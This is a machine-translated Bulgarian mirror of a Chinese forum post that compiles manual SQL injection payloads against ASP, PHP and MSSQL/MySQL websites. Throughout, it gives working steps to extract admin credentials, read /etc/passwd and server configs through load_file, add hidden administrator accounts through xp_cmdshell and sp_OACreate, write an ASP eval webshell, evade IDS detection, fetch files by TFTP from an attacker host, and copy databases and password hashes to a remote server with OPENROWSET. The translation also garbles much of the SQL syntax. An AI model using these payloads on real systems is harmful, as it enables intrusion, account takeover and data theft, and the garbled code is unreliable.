Тази статия е огледална статия за машинен превод, моля, кликнете тук, за да преминете към оригиналната статия.

Изглед: 20889|Отговор: 2

[Безопасна комуникация] Книга за SQL инжекции - Пълен контакт за уязвимост при инжекции в ASP

[Копирай линк]
Публикувано в 28.09.2015 г. 18:21:41 ч. | | |


MSSQL крос-бази данни заявки (смрадлива храна!) Тъмно)

Изцеди всяка последна капка от MS SQL

Препратки към SQL оператори и обекти от записи са обяснени подробно

За съхранените процедури в SQL Server

Създайте уебшелл с mssql бекъп

SQL_Injection напреднали приложения

Крос-сайт SQL инжекция (laokai)

Странна SQL инжекция (AMANL)

Разширена SQL инжекция в SQL Server приложения

Как да използвате SQL инжекция за преминаване през директории

Преглед на техниките за SQL инжектиране (преводач: demonalex)

Някои атаки срещу SQL бази данни

Техника за атака чрез SQL инжекции (JSW)

SQL_Injection Разширени приложения (APACHY)

Необичайни методи за SQL инжектиране (Guilin ветеран)

Резервно копие на обвивка

Говорим за структурата на инструкциите php+mysql (Heyhehehehe·≯Super· Хей)

Разширена SQL инжекция с MySQL(ангел)

L'injection (My)SQL чрез PHP

Oracle SQL език

Енциклопедия за ръчни инжекции на SQL

Предварителните изисквания изискват инструменти: SQL Query Analyzer и SqlExec Sunx Version
==============================================================================================
1. Да се определи дали има точка на инжектиране
; и 1=1 и 1=2
2. Предполагам, че името на таблицата е нищо повече от администратор, администратор, потребителски пропуск, парола и т.н.:
и 0<>(изберете count(*) от *)
и 0<>(изберете count(*) от admin) — Определи дали администраторската таблица съществува
3. Познайте броя на сметките Ако срещнете 0< върнете се на правилната страница 1< върнете страницата с грешка, за да посочите, че броят на акаунтите е 1
и 0<(изберете count(*) от admin)
и 1<(изберете count(*) от admin)
4. Познайте името на полето Добавете името на полето, което мислим, в скобите len( ).
и 1=(изберете брой(*) от админ, където len(*)>0)–
и 1=(изберете count(*) от admin, където len(име на потребителско поле)>0)
и 1=(изберете count(*) от admin, където len(_blank>име на поле за парола)>0)
5. Познайте дължината на всяко поле Познайте дължината да се трансформира >0, докато не се върне правилната страница
и 1=(избери брой(*) от admin, където len(*)>0)
и 1=(изберете count(*) от admin, където len(name)>6) грешка
и 1=(изберете брой(*) от admin, където len(име)>5) Правилната дължина е 6
и 1=(select count(*) от admin, където len(name)=6) е правилно
и 1=(изберете count(*) от admin, където len(password)>11) е правилно
и 1=(select count(*) от admin, където дължината на грешката len(password)>12) е 12
и 1=(select count(*) от admin, където len(парола)=12) е вярно
6. Познай героите
и 1=(изберете брой(*) от администратора, където е ляво(име,1)=a) — Познайте първата цифра на акаунта на потребителя
и 1=(select count(*) от admin където left(name,2)=ab) — Познайте втората цифра на акаунта на потребителя
Просто добавяй по един знак наведнъж, за да познаеш, познай толкова цифри, колкото току-що си познал, и ще излезе номерът на сметката
(1) Познай името на масата

Използвани изречения:
и съществува (изберете * от името на таблицата)

Например:
и съществува (избери * от admin)

Ако страницата отразява правилно, това означава, че името на таблицата, което предположихме тук, е вярно, а ако страницата е грешна, значи името на таблицата, което сме написали тук, е грешно

, след това смени името на таблицата и продължаваш да гадаеш, докато не познаеш.

Обикновено често използваните имена на таблици включват admin, manage, user или put it in tool run
(2) Познай полето

Използвани изречения:
и съществува (изберете име на поле от името на таблицата)

Например:
и съществува (изберете потребителско име от администратор)

Тук, ако приемем, че админ таблицата е тази, която познах правилно по-горе, искам да определя дали съществува полето с потребителско име, трябва да използвам това твърдение, ако страницата

Ако ехото на лицето е правилно, това означава, че името на полето, което предположихме тук, е правилно, а ако страницата е грешна, значи името на полето, което сме написали тук, е грешно

, след това смени името на полето и продължи да гадаеш, докато не познаеш.

Обикновено често използваните имена на полета включват потребителско име, парола, потребител, пропуск, име, пропуск, инвалидност, usr, psd и други полета
(3) подреждане по

Ред по е за получаване на сумата от броя полета на тази страница, подготвяйки се за следващата съвместна заявка
(4) Селект на съюза

  1. Ако поддържате съвместна заявка, намерете бит за показване http://www.xxx.com/product_show.asp?id=1 и 1=2 избор на обединение

1,2,3,4,5,6,7,8,9,10,11
Да предположим, че битовете на дисплея са 5,6. След това трябва само да заменим имената на полета, съответстващи на потребителското име и паролата на администратора, с позицията на показателния бит тук
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 от администратора намери фоновия вход
  2. Ако съвместната заявка не се поддържа
Потребителското име и паролата на администратора не могат да бъдат получени без съвместна заявка – чрез Ascii дословно декодиране
Две
  Използвайте ред , за да прецените броя на битовете в таблицата, и ако не работи, използвайте union select, за да ги подредите един по един, тук приемаме 8 бита
Три
  Използвайте съвместна заявка, за да определите битовете на дисплея
Четири
  Използвайте бита за показване, за да намерите името на базата данни, версията на базата, може да се инжектира версия 5.0 или по-нова
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Пет
  С името на базата данни можете да започнете да получавате схемата на името на таблицата =, последвана от HEX стойността на името на базата данни и да познаете името на таблицата
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+от+information_schema.колони+къде+
table_schema=0x666C6965725F6462617365
Шест
  Анализираното име на таблицата определя HEX стойността на името на таблицата на администратора =table name и отгатва полетата в таблицата
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ЯСНО

+column_name),8+
от+information_schema.колони+къде+table_name=0x7075625F7765626D6173746572
Седем
  След като получим полетата в административната таблица, нека разгледаме съдържанието на полетата
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ЯСНО

+потребителско име,
0x5f,userpwd),8+from+pub_webmaster
Осем
  Инструментът сканира фона: Влезте в системата, за да качите трояна след като го намерите, и ако не можете да намерите robots.txt файла, до който можете да получите достъп
Девет
  Ако не можете да намерите фона, паролата на MYSQL администратора ще бъде разкрита
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(потребител,парола),8+from+mysql.user
Десет
  Случайно достъпете пътя и обратната връзка е 404 по подразбиране страница на IIS6, което показва, че сървърът на уебсайта е: Windows+IIS6+php+MySQL среда
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Този път може да получи информация за конфигурацията на уебсайта.
  Конструирайте изказвания http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Единадесет
  Анализирайте кода и намерете фоновия адрес
  В първата стъпка трябва да получим дължината на полетата в таблицата
Използвани изказвания:
и (изберете топ 1 len (име на полето) от името на таблицата)>0
Като какво:
и (изберете топ 1 LEN(admin_name) от администратора)>0
Страницата се показва нормално, дължината на полето admin_name е по-голяма от 0, и ще изпратя:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Страницата показва грешка, че полето е между 0 и 10, а дължината е 5 според дихотомията
Използвайки същия метод, за да определя дължината на полето за паролата на администратора, получавам дължина 16
  Стъпка 2
Сега нека преминем към втората стъпка – да вземем определен символ в полето и да получим ASCII кода на знака, който се използва

Изявление:
и (изберете топ 1 ASC (mid(име на терена, N,1)) от името на таблицата)>0
Нека разгледам това изречение поотделно, първо най-вътрешната функция mid(потребителско име, 1,1), която е първият знак на admin_name полето, N

показва, че първите няколко знака трябва да бъдат прихванати,
Тогава външната функция asc(), която преобразува символите, прихванати от средната функция, в ASCII код, най-външният горен 1, представлява полето за връщане на първото място

Рекорд, тогава,
">0" в края е за сравняване на конвертирания ASCII код с това число и накрая за получаване на прихващане, като постоянно променяме последната стойност

Вземете конкретната информация за този герой
ASCII код
Представяне:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Страницата се показва нормално, което показва, че ASCII кодът на този знак е по-голям от 30.
Представяне:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Страницата се показва нормално, което показва, че ASCII кодът на този символ е по-голям от 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII кодът, който получих за този персонаж, е 97
Сравнете ASCII таблицата:
Може да се заключи, че първият знак е "a".
След това ще оценя ASCII кода на втория знак.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Страницата се показва нормално, което показва, че ASCII кодът на символа е по-голям от 90, а последната стойност винаги се променя
Същият метод даде паролата на администратора и резултатът беше:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
и 1=(изберете топ 1 брой(*) от Admin, където Asc(mid(pass,5,1))=51) –
Това запитване може да познае китайския потребител и паролата _blank>. Просто заменете следните числа с китайския ASSIC код

Конвертирайте в персонажи.

група по users.id има 1=1–www.myhack58.com
групиране по users.id, user.username, users.password, users.privs с 1=1–
; Вмъкнете в потребителските стойности (666, attacker, foobar, 0xffff)–

UNION Select ТОП 1 COLUMN_blank>_NAME ОТ INFORMATION_blank>_SCHEMA. КОЛОНИ Където

TABLE_blank>_NAME=logintable-
UNION Select ТОП 1 COLUMN_blank>_NAME ОТ INFORMATION_blank>_SCHEMA. КОЛОНИ Където

TABLE_blank>_NAME=logintable Където COLUMN_blank>_NAME НЕ Е В (login_blank>_id)-
UNION Select ТОП 1 COLUMN_blank>_NAME ОТ INFORMATION_blank>_SCHEMA. КОЛОНИ Където

TABLE_blank>_NAME=logintable Където COLUMN_blank>_NAME NOT IN

(login_blank>_id,login_blank>_name)-
UNION Изберете ТОП 1 login_blank>_name ОТ logintable-
UNION Изберете ТОП 1 парола ОТ logintable, където login_blank>_name=Rahul–
Виж пача, пуснат от сървъра на _blank> = грешен SP4 пач, черна лента за безопасност
и 1=(select @@VERSION)–

Погледнете разрешенията на _blank> акаунта за връзка с базата данни и резултатът се връща нормално, доказвайки, че това е системното разрешение за ролята на _blank> сървъра.
и 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–

Определи, че акаунтът в базата данни _blank> свързан. (Използвайте SA акаунт за свързване и връщане на нормално = докажи, че свързаният акаунт е SA)
и sa=(Select System_blank>_user)–
и user_blank>_name()=dbo–
и 0<>(изберете user_blank>_name()–

Виж дали xp_blank>_cmdshell изтрива
и 1=(Изберете брой(*) от master.dbo.sysobjects Където xtype = X И име = xp_blank>_cmdshell)



xp_blank>_cmdshell се изтрива, възстановява и поддържа абсолютно възстановяване по пътя
; ИЗПЪЛНИТЕЛЕН master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== разрешение за база данни се разкрива на физическия пътен код на уебсайта

==========================================================================
1、drop таблица [jm_tmp]; Create table [jm_tmp](стойност navrchar(4000) null,data nvarchar(4000)

null) -- Създаване на таблица


2、 изтрий [jm_tmp]; Вмъкнете [jm_tmp] изпълнителен master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Вмъкнете директорията на сайта в полето с таблица


3、и (изберете топ 1 cast([data] as nvarchar(4000) char(124) от [jm_tmp] ред по [data]

desc)=0 '//Открито поле


4. Изхвърли таблица [jm_tmp] -- Изтрий тази таблица.
за командване да вземе черупката
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Други маршрути на станциите
======================load_file() Често използвана чувствителна информационна ===========================================
1、 замяна(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100),char(60),char(32))
Горните две са за преглед на PHP файл, който напълно показва кода. Има моменти, когато някои знаци не се заменят, като например "<" вместо "space", който се връща

Уеб страница. И кодът не може да бъде видян.

3. load_file(char(47)) може да изброи коренната директория на системите FreeBSD и Sunos

4. Вижте конфигурационния файл за виртуален хост на Linux APACHE в /etc/httpd/conf/httpd.conf или /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf или C:\apache\conf\httpd.conf за преглед на WINDOWS

System Apache файл

6. c:/Resin-3.0.14/conf/resin.conf Вижте информацията за конфигурацията на смолния файл на уебсайта, разработен от jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf за преглед на JSP виртуалния хост, конфигуриран на Linux системата

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin експлодиращ път

11. C:\Windows\system32\inetsrv\MetaBase.xml Вижте конфигурационния файл за виртуален хост на IIS

12. /usr/local/resin-3.0.22/conf/resin.conf за преглед на конфигурационния файл на RESIN за 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Същото като по-горе

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Виртуален хост на APASHE

15. /etc/sysconfig/iptables зависи от политиката на защитната стена

16. /usr/local/app/php5 b/php.ini настройки, еквивалентни на PHP

17. /etc/my.cnf MYSQL конфигурационен файл

18. /etc/redhat-release системна версия на Red Hat

19 、C:\mysql\data\mysql\user. MYD съществува в потребителската парола в системата MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 за преглед на IP.

21. /usr/local/app/php5 b/php.ini //PHP свързани настройки

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // настройки на виртуалния уебсайт

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue показва информацията за разпространение на Linux ядрото

26、/etc/ftpuser

27. Проверете оперативния лог файл под LINUX user.bash_history или .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Експериментирай с обратен PING сам
; използвай майстор; обяви @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Изпълнителен директор

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Добави акаунт
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Създайте виртуален директория E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Атрибути за достъп: (с запис в уебшел)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Специален _blank> трик за burst на библиотеката: :%5c=\ или модифицирай %5 с / и \ за commit
и 0<>(изберете топ 1 пътя от newtable)–

Вземете името на базата данни (от 1 до 5 са ID-тата на системата, и можете да ги оцените над 6)
и 1=(изберете име от master.dbo.sysdatabases, където dbid=7)–
и 0<>(изберете count(*) от master.dbo.sysdatabases, където name>1 и dbid=6)
Изпрати dbid на свой ред = 7,8,9.... Вижте повече _blank> имена на бази данни

и 0<>(изберете име на топ 1 от bbs.dbo.sysobjects, където xtype=U) се появяват в таблица при прием на администратор
и 0<>(изберете топ 1 име от bbs.dbo.sysobjects, където xtype=ти и име не е в (Администратор)).

Други маси.
и 0<>(изберете count(*) от bbs.dbo.sysobjects, където xtype=you и name=admin
и uid>(str(id))) Числовата стойност на UID се приема за 18779569 uid=id
и 0<>(изберете топ 1 име от bbs.dbo.syscolumns, където id=18779569) получава поле admin, false

Настроено на user_blank>_id
и 0<>(изберете име на топ 1 от bbs.dbo.syscolumns, където id=18779569 а име не е в
(id,...)) за да се разкрият други полета
и 0<(изберете user_blank>_id от BBS.dbo.admin, където потребителското име>1) за получаване на потребителското име
От своя страна можете да получите _blank> парола。。。。。 Да предположим, че има полета като потребителско име user_blank>_id, парола и т.н.

и 0<>(изберете count(*) от master.dbo.sysdatabases, където name>1 и dbid=6)
и 0<>(изберете име на топ 1 от bbs.dbo.sysobjects, където xtype=U) за получаване на името на таблицата
и 0<>(изберете име на топ 1 от bbs.dbo.sysobjects, където xtype=ти и име не е в (Адрес))
и 0<>(изберете count(*) от bbs.dbo.sysobjects, където xtype=you и name=admin и uid>(str(id)))

Определете id стойността
и 0<>(изберете име на топ 1 от BBS.dbo.syscolumns, където id=773577794) всички полета

?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* от admin
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 от admin (union,access също е лесен за използване)

Вземи WEB пътя
; Create table [dbo]. [размяна] ([swappass][char](255)); –
и (изберете топ 1 swappass от swap)=1–
; Създаване на TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Обявяване @test varchar(20) exec

Учителю.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=СИСТЕМА

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, стойности=@test

OUTPUT вмъкнете в paths(path) стойности(@test)–
; Използвай Ku1; –
; създаване на таблица cmd (STR изображение); – Създаване на таблицен cmd с типа изображение
1. Начинът да се премахне процесът на разширение на xp_cmdshell е да се използва следното твърдение:

ако съществува (изберете * от dbo.sysobjects, където id=object_id(N'[dbo].[ xpcmdshell]') и

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
изпълнителен sp_dropextendedproc N'[DBO]. [xp_cmdshell]'

2. Начинът да се добави процесът xp_cmdshell разширение е да се използва следното изявление:

(1) SQL анализатор на заявки

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Първо, попълнете проценти в опцията Формат на SqlExec Sunx Version и ги въведете в опцията CMD

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

Премахване

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Съществуват xp_blank>_cmdshell тестови процеси:
; Изпълнителен майстор... xp_blank>_cmdshell реж.
; изпълнителен master.dbo.sp_blank>_addlogin Дзяоняня$; – Добавяне на SQL акаунти
; изпълнителен master.dbo.sp_blank>_password нул, jiaoniang$,1866574; –
; изпълнителен master.dbo.sp_blank>_addsrvrolemember jiaoniang$ системен администратор; –
; Exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Изпълнителен майстор... xp_blank>_servicecontrol започнете, график за започване на услугата _blank>
Изпълнителен майстор... xp_blank>_servicecontrol старт, сървър
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Изпълнителен майстор... xp_blank>_cmdshell tftp – i youip get file.exe – Качване на файлове чрез TFTP

; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a директор C:\
; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\
; обяви @a; set @a=db_blank>_name(); резервно копие на база данни @a към disk=вашия IP Вашата споделена директория bak.dat
Ако е ограничено, да.
изберете * от openrowset(_blank>sqloledb,server; sa; ,избери ОК! Изпълнителен директор

master.dbo.sp_blank>_addlogin хакс)

Структура на заявките:
Избери * ОТ новини Където id=... И тема=... И .....
adminand 1=(изберете брой(*) от [user], където username=victim и right(left(userpass,01),1)=1)

и userpass <>
Изберете 123; –
; използвай майстор; –
:a или име като fff%; – Показва потребител на име ffff.
и 1<>(изберете брой(имейл) от [потребител]); –
; Актуализирай [потребители] Set email=(Изберете име на топ 1 от sysobjects, където xtype=you и статус>0) където

name=ffff; –
; Актуализирай [потребители] Set Email=(Изберете Top 1 ID от SysObjects, където xtype=Ти и Name=AD) където

name=ffff; –
; Актуализирай [потребители] Set Email=(Изберете име на топ 1 от SysObjects, където xtype=You и ID>581577110)

където name=ffff; –
; актуализирай [потребители] Set email=(Изберете топ 1 брой(ID) от паролата), където name=ffff; –
; актуализиране [потребители] Set email=(изберете топ 1 PWD от паролата, където id=2), където name=ffff; –
; Актуализирай [потребители] Set email=(Изберете име на топ 1 от паролата, където id=2), където name=ffff; –
Горното твърдение е да се получи първата потребителска таблица в базата данни _blank> и да се постави името на таблицата в полето за имейл на потребителя на ffff.
Като разгледате потребителския профил на ffff, можете да получите първата таблица, наречена AD
След това вземете ID на тази таблица според рекламата с името на таблицата, за да получите името на втората таблица

Вмъкнете в потребителските стойности( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Вмъкнете в потребителски стойности( 667,123,123,0xffff)–
Вмъкнете в потребителските стойности (123, администратор–, парола, 0xffff)–
; и потребител>0
; и (select count(*) от sysobjects)>0
; и (select count(*) от mysysobjects)>0 // за базата данни access_blank>

Изброете името на таблицата с данни
; Актуализирай AAA set aaa=(Изберете име на топ 1 от sysobjects, където xtype=you и status>0); –
Тук името на първата таблица се обновява в областта AAA.
Прочетете първата таблица, а втората може да се чете така (добавете и наименувате по състоянието<> името на таблицата, която току-що сте получили).
; Актуализация AAA Set AAA=(Изберете име на топ 1 от sysObjects, където xtype=you и status>0 и

име<>гласуване); –
Тогава id=1552 и съществува (изберете * от aaa, където aaa>5)
Прочети втората таблица и я прочети една по една, докато не остане никаква.
Полето за четене изглежда така:
; актуализиране на AAA set aaa=(Изберете топ 1 col_blank>_name(object_blank>_id(име на таблица),1)); –
Тогава id=152 и exists(select * от aaa, където aaa>5) получава грешка и получава името на полето
; актуализиране на AAA комплекта AAA=(Изберете топ 1 col_blank>_name(object_blank>_id(име на таблица),2)); –
Тогава id=152 и exists(select * от aaa, където aaa>5) получава грешка и получава името на полето

[Получи име на таблицата с данни] [Актуализирайте стойността на полето до името на таблицата и след това прочетете стойността на това поле, за да получите името на таблицата]
Update таблица Name set field=(Изберете име на топ 1 от sysobjects, където xtype=you и статус>0 [ и име<>

Името на таблицата, което получавате: Намерете едно плюс едно]) [ където условие] изберете име на топ 1 от sysobjects, където xtype=ти и

статус>0 и име не е в (таблица 1, таблица 2,...)
Създаване на акаунт за администратор на база данни и акаунт за системен администратор _blank> _blank> инжектиране на уязвимост чрез SQLSERVER [Текущият акаунт трябва да е групата SYSADMIN]

[Вземи име на полето в таблицата с данни] [Актуализирайте стойността на полето до името на полето и след това прочетете стойността на това поле, за да получите името на полето]
Update table name set field=(Select top 1 col_blank>_name(object_blank>_id (име на таблица с данни към заявка), колона полето

Например: 1) [ където условие]

Заобикаляне на откриването на IDS [Използване на променливи]
; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a директор C:\
; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\

1. Отворете базата данни за отдалечени _blank>
Основен синтаксис
изберете * от OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, изберете * от таблица1 )
Параметри: (1) OLEDB име на доставчик
2. Параметърът на свързващия низ може да бъде всеки порт за свързване, например
select * от OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,

Изберете * от таблицата
3. Копирайте цялата _blank> база данни на целевия хост и вмъкнете всички отдалечени таблици в локалната таблица.

Основен синтаксис:
вмъкнете в OPENROWSET(SQLOLEDB, server=servername; uid=sa; PWD=123, изберете * от таблица1) Изберете

* от таблица 2
Това линейно изявление копира всички данни от таблица 2 на целевия хост към таблица 1 в отдалечената база данни _blank>. Подходящи ремонти в практическа употреба

Променете IP адреса и порта на свързващия низ така, че да сочат там, където ви трябва, например:
вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* от таблица1) избери * от таблица2
вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* от _blank>_sysdatabases)
Изберете * от master.dbo.sysdatabases
вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* от _blank>_sysobjects)
изберете * от user_blank>_database.dbo.sysobjects
вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* от _blank>_syscolumns)
Изберете * от user_blank>_database.dbo.syscolumns
Репликирайте _blank> база данни:
вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* от таблица1) избери * от базата данни... Таблица1
вмъкнете в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* от таблица2) избери * от базата данни... Таблица2

Хешът на паролата, която копира хеш таблицата (HASH) за вход _blank> паролата, се съхранява в sysxlogins. Ето как:
вмъкнете в OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Мрежа=DBMSSOCN; Адрес=192.168.0.1,1433; ,select * от _blank>_sysxlogins)

Изберете * от database.dbo.sysxlogins
След като вземеш хаша, можеш да го насилиш.

За да преминете през директорията: Първо, създайте временна таблица: temp
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; вмъкни временен изпълнителен master.dbo.xp_blank>_availablemedia; – Вземи всички текущи дискове
; Вмъкнете в temp(id) exec master.dbo.xp_blank>_subdirs C:\; – Вземете списък с поддиректории
; Вмъкнете в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Вземете структурата на дървото на директорията за всички поддиректории,

Слейте инчовете в температурната таблица
; Вмъкнете в temp(id) exec master.dbo.xp_blank>_cmdshell тип C:\web\index.asp; – Преглед на файл

Съдържание
